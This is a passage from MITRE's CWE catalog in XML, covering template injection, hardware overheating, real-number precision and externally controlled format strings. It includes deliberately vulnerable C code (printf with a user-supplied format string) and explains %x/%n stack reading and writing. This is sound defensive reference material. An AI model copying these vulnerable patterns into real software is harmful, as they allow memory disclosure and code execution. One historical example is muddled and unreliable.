					<Description>Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Use the template engine's sandbox or restricted mode, if available.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2017-16783</Reference>
					<Description>server-side template injection in content management server</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2017-16783</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2020-9437</Reference>
					<Description>authentication / identity management product has client-side template injection</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2020-9437</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2020-12790</Reference>
					<Description>Server-Side Template Injection using a Twig template</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2020-12790</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2021-21244</Reference>
					<Description>devops platform allows SSTI</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2021-21244</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2020-4027</Reference>
					<Description>bypass of Server-Side Template Injection protection mechanism with macros in Velocity templates</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2020-4027</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2020-26282</Reference>
					<Description>web browser proxy server allows Java EL expressions from Server-Side Template Injection</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2020-26282</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2020-1961</Reference>
					<Description>SSTI involving mail templates and JEXL expressions</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2020-1961</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2019-19999</Reference>
					<Description>product does not use a "safe" setting for a FreeMarker configuration, allowing SSTI</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2019-19999</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2018-20465</Reference>
					<Description>product allows read of sensitive database username/password variables using server-side template injection</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2018-20465</Link>
				</Observed_Example>
			</Observed_Examples>
			<References>
				<Reference External_Reference_ID="REF-1193"/>
				<Reference External_Reference_ID="REF-1194"/>
			</References>
			<Notes>
			  <Note Type="Relationship">
			    Since expression languages are often used in templating languages, there may be some overlap with CWE-917 (Expression Language Injection). XSS (CWE-79) is also co-located with template injection.
			  </Note>
			  <Note Type="Maintenance">The interrelationships and differences between CWE-917 and CWE-1336 need to be further clarified.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2021-07-19</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1338" Name="Improper Protections Against Hardware Overheating" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>A hardware device is missing or has inadequate protection features to prevent overheating.</Description>
			<Extended_Description>
				<xhtml:p>Hardware, electrical circuits, and semiconductor silicon have thermal side effects, such that some of the energy consumed by the device gets dissipated as heat and increases the temperature of the device. For example, in semiconductors, higher-operating frequency of silicon results in higher power dissipation and heat. The leakage current in CMOS circuits increases with temperature, and this creates positive feedback that can result in thermal runaway and damage the device permanently.</xhtml:p>
				<xhtml:p>Any device lacking protections such as thermal sensors, adequate platform cooling, or thermal insulation is susceptible to attacks by malicious software that might deliberately operate the device in modes that result in overheating. This can be used as an effective denial of service (DoS) or permanent denial of service (PDoS) attack.</xhtml:p>
				<xhtml:p>Depending on the type of hardware device and its expected usage, such thermal overheating can also cause safety hazards and reliability issues. Note that battery failures can also cause device overheating but the mitigations and examples included in this submission cannot reliably protect against a battery failure. </xhtml:p>
				<xhtml:p>There can be similar weaknesses with lack of protection from attacks based on overvoltage or overcurrent conditions. However, thermal heat is generated by hardware operation and the device should implement protection from overheating.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>	
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				<Technology Class="ICS/OT" Prevalence="Undetermined"/>
				<Technology Name="Power Management Hardware" Prevalence="Undetermined"/>
				<Technology Name="Processor Hardware" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Such issues could be introduced during hardware architecture, design or implementation.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Availability</Scope>
					<Impact>DoS: Resource Consumption (Other)</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
				<Detection_Method>
				<Method>Dynamic Analysis with Manual Results Interpretation</Method>
				<Description>Dynamic tests should be performed to stress-test temperature controls.</Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
				<Detection_Method>
				<Method>Architecture or Design Review</Method>
				<Description>Power management controls should be part of Architecture and Design reviews.</Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Temperature maximum and minimum limits should be enforced using thermal sensors both in silicon and at the platform level.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>The platform should support cooling solutions such as fans that can be modulated based on device-operation needs to maintain a stable temperature.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>Malicious software running on a core can execute instructions that consume maximum power or increase core frequency. Such a power-virus program could execute on the platform for an extended time to overheat the device, resulting in permanent damage.</Intro_Text>
					<Body_Text>Execution core and platform do not support thermal sensors, performance throttling, or platform-cooling countermeasures to ensure that any software executing on the system cannot cause overheating past the maximum allowable temperature.</Body_Text>
					<Body_Text>The platform and SoC should have failsafe thermal limits that are enforced by thermal sensors that trigger critical temperature alerts when high temperature is detected. Upon detection of high temperatures, the platform should trigger cooling or shutdown automatically.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="624"/>
            <Related_Attack_Pattern CAPEC_ID="625"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1156"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-29</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1339" Name="Insufficient Precision or Accuracy of a Real Number" Abstraction="Base" Structure="Simple" Status="Draft">
            <Description>The product processes a real number with an implementation in which the number's representation does not preserve required accuracy and precision in its fractional part, causing an incorrect result.</Description>
            <Extended_Description><xhtml:p>When a security decision or calculation requires highly precise, accurate numbers such as financial calculations or prices, then small variations in the number could be exploited by an attacker.
            </xhtml:p><xhtml:p>There are multiple ways to store the fractional part of a real number in a computer. In all of these cases, there is a limit to the accuracy of recording a fraction. If the fraction can be represented in a fixed number of digits (binary or decimal), there might not be enough digits assigned to represent the number. In other cases the number cannot be represented in a fixed number of digits due to repeating in decimal or binary notation (e.g. 0.333333...) or due to a transcendental number such as Π or √2. Rounding of numbers can lead to situations where the computer results do not adequately match the result of sufficiently accurate math. </xhtml:p>
            </Extended_Description>
            <Related_Weaknesses>
                <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1000" Ordinal="Primary"/>
                <Related_Weakness Nature="PeerOf" CWE_ID="190" View_ID="1000" Ordinal="Primary"/>
                <Related_Weakness Nature="CanPrecede" CWE_ID="834" View_ID="1000" Ordinal="Primary"/>
                <Related_Weakness Nature="CanPrecede" CWE_ID="119" View_ID="1000"/>
            </Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Background_Details>
                <Background_Detail>There are three major ways to store real numbers in computers. Each method is described along with the limitations of how they store their numbers.
            <xhtml:ul>
                        <xhtml:li>Fixed: Some implementations use a fixed number of binary bits to represent both the integer and the fraction.  In the demonstrative example about Muller's Recurrence, the fraction 108.0 - ((815.0 - 1500.0 / z) / y) cannot be represented in 8 binary digits. The numeric accuracy within languages such as PL/1, COBOL and Ada is expressed in decimal digits rather than binary digits. In SQL and most databases, the length of the integer and the fraction are specified by the programmer in decimal. In the language C, fixed reals are implemented according to ISO/IEC TR18037</xhtml:li>
                        <xhtml:li>Floating: The number is stored in a version of scientific notation with a fixed length for the base and the significand. This allows flexibility for more accuracy when the integer portion is smaller. When dealing with large integers, the fractional accuracy is less. Languages such as PL/1, COBOL and Ada set the accuracy by decimal digit representation rather than using binary digits. Python also implements decimal floating-point numbers using the IEEE 754-2008 encoding method.</xhtml:li>
                        <xhtml:li>Ratio: The number is stored as the ratio of two integers. These integers also have their limits. These integers can be stored in a fixed number of bits or in a vector of digits. While the vector of digits method provides for very large integers, they cannot truly represent a repeating or transcendental number as those numbers do not ever have a fixed length.</xhtml:li>
                    </xhtml:ul>
                </Background_Detail>
            </Background_Details>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                    <Note>This weakness is introduced when the developer picks a method to represent a real number. The weakness may only be visible with very specific numeric inputs.</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Availability</Scope>
                    <Impact>DoS: Crash, Exit, or Restart</Impact>
                    <Note>This weakness will generally lead to undefined results and therefore crashes. In some implementations the program will halt if the weakness causes an overflow during a calculation.</Note>
                </Consequence>
                <Consequence>
                    <Scope>Integrity</Scope>
                    <Impact>Execute Unauthorized Code or Commands</Impact>
                    <Note>The results of the math are not as expected. This could cause issues where a value would not be properly calculated and provide an incorrect answer.</Note>
                </Consequence>
                <Consequence>
                    <Scope>Confidentiality</Scope>
                    <Scope>Availability</Scope>
                    <Scope>Access Control</Scope>
                    <Impact>Read Application Data</Impact>
                    <Impact>Modify Application Data</Impact>
                    <Note>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a product's implicit security policy.</Note>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Implementation</Phase>
                    <Phase>Patching and Maintenance</Phase>
                    <Description>The developer or maintainer can move to a more accurate representation of real numbers.  In extreme cases, the programmer can move to representations such as ratios of BigInts which can represent real numbers to extremely fine precision. The programmer can also use the concept of an Unum real. The memory and CPU tradeoffs of this change must be examined. Since floating point reals are used in many products and many locations, they are implemented in hardware and most format changes will cause the calculations to be moved into software resulting in slower products. </Description>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>Muller's Recurrence is a series that is supposed to converge to the number 5. When running this series with the following code, different implementations of real numbers fail at specific iterations:</Intro_Text>
                    <Example_Code Nature="Bad" Language="Rust">
		      fn rec_float(y: f64, z: f64) -&gt; f64 <xhtml:br/>
		      {<xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
			108.0 - ((815.0 - 1500.0 / z) / y);<xhtml:br/>
		      </xhtml:div>
		      }<xhtml:br/>
		      <xhtml:br/>
		      fn float_calc(turns: usize) -&gt; f64 <xhtml:br/>
		      {<xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
			let mut x: Vec&lt;f64&gt; = vec![4.0, 4.25];<xhtml:br/>
			(2..turns + 1).for_each(|number| <xhtml:br/>
			{<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  x.push(rec_float(x[number - 1], x[number - 2]));<xhtml:br/>
			</xhtml:div>
			});<xhtml:br/>
			<xhtml:br/>
			x[turns]<xhtml:br/>
		      </xhtml:div>
		      }<xhtml:br/>
                    </Example_Code>
                    <Body_Text>
		      The chart below shows values for different data structures in the rust language when Muller's recurrence is executed to 80 iterations. The data structure f64 is a 64 bit float. The data structures I&lt;number&gt;F&lt;number&gt; are fixed representations 128 bits in length that use the first number as the size of the integer and the second size as the size of the fraction (e.g. I16F112 uses 16 bits for the integer and 112 bits for the fraction). The data structure of Ratio comes in three different implementations: i32 uses a ratio of 32 bit signed  integers,  i64 uses a ratio of 64 bit signed integers and BigInt uses a ratio of signed integer with up to 2^32 digits of base 256.  Notice how even with 112 bits of fractions or ratios of 64bit unsigned integers, this math still does not converge to an expected value of 5.
		      <xhtml:img src="https://cwe.mitre.org/data/images/Mullers-Recurrence-CWE-1339.png" alt="Muller's Recurrence"/>
		    </Body_Text>
                    <Example_Code Nature="Good" Language="Rust">
		      Use num_rational::BigRational;<xhtml:br/>
                      <xhtml:br/>
		      fn rec_big(y: BigRational, z: BigRational) -&gt; BigRational<xhtml:br/>
		      {<xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
			BigRational::from_integer(BigInt::from(108))<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  - ((BigRational::from_integer(BigInt::from(815))<xhtml:br/>
			  - BigRational::from_integer(BigInt::from(1500)) / z)<xhtml:br/>
			  / y)<xhtml:br/>
			</xhtml:div>
		      </xhtml:div>
		      }<xhtml:br/>
		      <xhtml:br/>
		      fn big_calc(turns: usize) -&gt; BigRational <xhtml:br/>
		      {<xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
			let mut x: Vec&lt;BigRational&gt; = vec![BigRational::from_float(4.0).unwrap(), BigRational::from_float(4.25).unwrap(),];<xhtml:br/>
			<xhtml:br/>
			(2..turns + 1).for_each(|number| <xhtml:br/>
			{<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  x.push(rec_big(x[number - 1].clone(), x[number - 2].clone()));<xhtml:br/>
			</xhtml:div>
			});<xhtml:br/>
			x[turns].clone()<xhtml:br/>
		      </xhtml:div>
		      }<xhtml:br/>
                    </Example_Code>
                </Demonstrative_Example>
                        <Demonstrative_Example>
                            <Intro_Text>On February 25, 1991, during the eve of the of an Iraqi invasion of Saudi Arabia, a Scud missile fired from Iraqi positions hit a US Army barracks in Dhahran, Saudi Arabia. It miscalculated time and killed 28 people [REF-1190].</Intro_Text>
			    <References>
			    <Reference External_Reference_ID="REF-1190"/>
			    </References>
                        </Demonstrative_Example>
                        <Demonstrative_Example>
                            <Intro_Text>Sleipner A, an offshore drilling platform in the North Sea, was incorrectly constructed with an underestimate of 50% of strength in a critical cluster of buoyancy cells needed for construction. This led to a leak in buoyancy cells during lowering, causing a seismic event of 3.0 on the Richter Scale and about $700M loss [REF-1281].</Intro_Text>
			    <References>
			    <Reference External_Reference_ID="REF-1281"/>
			    </References>
                        </Demonstrative_Example>
                    </Demonstrative_Examples>
		    <Observed_Examples>
		      <Observed_Example>
			<Reference>CVE-2018-16069</Reference>
			<Description>Chain: series of floating-point precision errors
			(CWE-1339) in a web browser rendering engine causes out-of-bounds read
			(CWE-125), giving access to cross-origin data</Description>
			<Link>https://www.cve.org/CVERecord?id=CVE-2018-16069</Link>
		      </Observed_Example>
		      <Observed_Example>
			<Reference>CVE-2017-7619</Reference>
			<Description>Chain: rounding error in floating-point calculations
			(CWE-1339) in image processor leads to infinite loop (CWE-835)</Description>
			<Link>https://www.cve.org/CVERecord?id=CVE-2017-7619</Link>
		      </Observed_Example>
		      <Observed_Example>
			<Reference>CVE-2021-29529</Reference>
			<Description>Chain: machine-learning product can have a heap-based
			buffer overflow (CWE-122) when some integer-oriented bounds are
			calculated by using ceiling() and floor() on floating point values
			(CWE-1339)</Description>
			<Link>https://www.cve.org/CVERecord?id=CVE-2021-29529</Link>
		      </Observed_Example>
		      <Observed_Example>
			<Reference>CVE-2008-2108</Reference>
			<Description>Chain: insufficient precision (CWE-1339) in
			random-number generator causes some zero bits to be reliably
			generated, reducing the amount of entropy (CWE-331)</Description>
			<Link>https://www.cve.org/CVERecord?id=CVE-2008-2108</Link>
		      </Observed_Example>
		      <Observed_Example>
			<Reference>CVE-2006-6499</Reference>
			<Description>Chain: web browser crashes due to infinite loop - "bad
			looping logic [that relies on] floating point math [CWE-1339] to exit
			the loop [CWE-835]"</Description>
			<Link>https://www.cve.org/CVERecord?id=CVE-2006-6499</Link>
		      </Observed_Example>
		    </Observed_Examples>
                    <References>
                        <Reference External_Reference_ID="REF-1186"/>
                        <Reference External_Reference_ID="REF-1187"/>
                        <Reference External_Reference_ID="REF-1188"/>
                        <Reference External_Reference_ID="REF-1189"/>
                        <Reference External_Reference_ID="REF-1190"/>
                        <Reference External_Reference_ID="REF-1191"/>
                    </References>
		    <Content_History>
		      <Submission>
			<Submission_Name>CWE Content Team</Submission_Name>
			<Submission_Organization>MITRE</Submission_Organization>
			<Submission_Date>2021-07-08</Submission_Date>
		      </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
		    </Content_History>
                </Weakness>
      <Weakness ID="134" Name="Use of Externally-Controlled Format String" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses a function that accepts a format string as an argument, but the format string originates from an external source.</Description>
         <Extended_Description>
            <xhtml:p>When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems.</xhtml:p>
            <xhtml:p>It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="123" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Often"/>
            <Language Name="C++" Prevalence="Often"/>
            <Language Name="Perl" Prevalence="Rarely"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>The programmer rarely intends for a format string to be externally-controlled at all. This weakness is frequently introduced in code that constructs log messages, where a constant format string is omitted.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>In cases such as localization and internationalization, the language-specific message repositories could be an avenue for exploitation, but the format string issue would be resultant, since attacker control of those repositories would also allow modification of message length, format, and content.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Note>Format string problems allow for information disclosure which can severely simplify exploitation of the program.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Format string problems can result in the execution of arbitrary code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-1">
               <Method>Automated Static Analysis</Method>
               <Description>This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source.</Description>
               <Effectiveness>Limited</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode simple extractor - strings, ELF readers, etc.</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Warning Flags</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Choose a language that is not subject to this flaw.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that all format string functions are passed a static string which cannot be controlled by the user, and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [REF-116] [REF-117]</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Description>Run compilers and linkers with high warning levels, since they may detect incorrect usage.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following program prints a string provided as an argument.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#include &lt;stdio.h&gt;<xhtml:br/>
                     <xhtml:br/>void printWrapper(char *string) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>printf(string);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main(int argc, char **argv) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>char buf[5012];<xhtml:br/>memcpy(buf, argv[1], 5012);<xhtml:br/>printWrapper(argv[1]);<xhtml:br/>return (0);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The example is exploitable, because of the call to printf() in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code copies a command line argument into a buffer using snprintf().</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int main(int argc, char **argv){<xhtml:div style="margin-left:1em;">char buf[128];<xhtml:br/>...<xhtml:br/>snprintf(buf,128,argv[1]);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>printf("%d %d %1$d %1$d\n", 5, 9);</xhtml:div>
               </Example_Code>
